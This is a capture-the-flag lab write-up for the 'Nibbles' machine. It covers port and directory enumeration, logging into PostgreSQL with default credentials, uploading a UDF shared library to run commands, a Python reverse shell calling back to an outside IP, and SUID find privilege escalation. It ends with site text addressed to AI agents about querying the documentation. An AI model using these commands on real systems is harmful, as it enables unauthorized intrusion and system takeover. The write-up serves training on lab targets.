# Nibbles ## Nibbles ### Service Enumeration `nmapAutomator.sh -H 192.168.163.47 -t full` ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-Madg8hySriSLTa-cr-k%2F1540aa15138b4fb6b87da0c16f81a23b.png?alt=media\&token=cf3ef468-1c7d-44e8-917e-125b467052fe) `nmapAutomator.sh -H 192.168.163.47 -t vulns` * Anonymous FTP not allowed ### Subdirectory Enumeration `gobuster dir -u http://192.168.163.47/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -k -x .txt,.html --threads 50` ### PostgreSQL We know the default username is `postgres`. Trying the password `postgres`, we authenticate successfully. ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadgC1Hl3GTSmVBZnCg%2Fe98a3452c71040f3891fcbbd9718e443.png?alt=media\&token=b6759ebc-a5c6-4750-b92b-c01b17ad4b47) Note that we are a privileged account, with the Superuser role. ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadgGotZDo3qAby6yv6%2F9de57a70204a45eb823cb8ddb8e8d026.png?alt=media\&token=4afd7392-c829-4d56-92ee-4f3923f780e8) ## Exploitation Reference: Compile the shared library: `gcc lib_postgresqlugcc lib_postgresqludf_sys.c -I server -fPIC -shared -o udf64.so` Generate the `.psql` payload: ``` xxd -p udf64.so | tee udf.txt x=0 while read line; do echo "select lo_put(PLACEHOLDER, $x, '\\\x$line');" >> u.psql; x=$((x+30)); done < udf.txt ``` Create and get the ID of the object: ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-Madga7fi3yLYNb6FpSt%2Ff221361282f64e6b9013b8836cd55bd5.png?alt=media\&token=87e59f3a-9e3f-4888-b317-51e233715f60) Replace PLACEHOLDER in `u.psql` with 16385. ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadgcyVJ97TwFWAEsPf%2Fb47d67741d444352b2a7222c58f43ad0.png?alt=media\&token=3a2ad262-8bb4-4c97-85a4-9b9425b5755c) Deliver the payload: `psql -h 192.168.163.47 -p 5437 -U postgres -d postgres -f u.psql` `select lo_export(16385, '/tmp/exploit.so');` ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadgrvRwCWpjcGQwCxQ%2Fd6134a3d60044c4196eeebec2e0b8166.png?alt=media\&token=f9fcb043-b779-4af3-88f7-1cabd8c90d2d) `create or replace function exec(char) returns char as '/tmp/exploit.so','sys_eval' language c strict;` ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadguPDtorkKcca6K3B%2F99232dceadc64149a730060ed5230aff.png?alt=media\&token=511b45f9-e7c3-4a1d-9f94-5ab617535faf) At this point we have created a function that allows us to execute arbitrary commands. Verify Python is installed: `select exec('which python');` ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadgxJAUauZxQ4M3-QP%2Face8f49532204b00bbfdf6bcf49d9d09.png?alt=media\&token=07c5acd3-4e6e-4412-a686-8d80d3c4103a) **Note: the only port that works is port 80.** Since the web application would be communicating with the PostgreSQL service through port 80, port 80 is likely whitelisted. ``` select exec('python -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.163",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'''); ``` ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-Madh8QV0r8ZOpaRan_S%2F4d1ba1f89f5a4ae38d82aa3c092c4b71.png?alt=media\&token=51ab8b49-9a18-493d-8027-2d474aa5a5cc) ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadhCJsXru8GmOZlSxm%2F73d3433cdccf4cceb8609fda74080f53.png?alt=media\&token=f3670e80-1e87-4370-a6d2-8f16ef815c5c) ### Privilege Escalation We can use LinPEAS to enumerate. ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-Madhhp77OG8hoNGD7rA%2F014387c27ed84d63ad418bed672c6845.png?alt=media\&token=42ee1533-eb3d-46ee-9b8e-c08dbda50a35) We see that the `find` binary has the SUID bit set. Reference: We can leverage this to run `/bin/sh` with elevated privileges. ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadhpD7Jn6vqqpaw9FF%2F7d5d16d938ef42eba9a1676b91079876.png?alt=media\&token=dabcf5c3-aba1-4052-9e3e-350075888989) ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-Madhrr4jiy95W2bNdap%2F84c7b92b17e04ffb8e525f5f81066c77.png?alt=media\&token=83efe7cf-2be4-407e-a3df-4e2650fcc6bf) --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://pentesting.zeyu2001.com/proving-grounds/get-to-work/nibbles.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.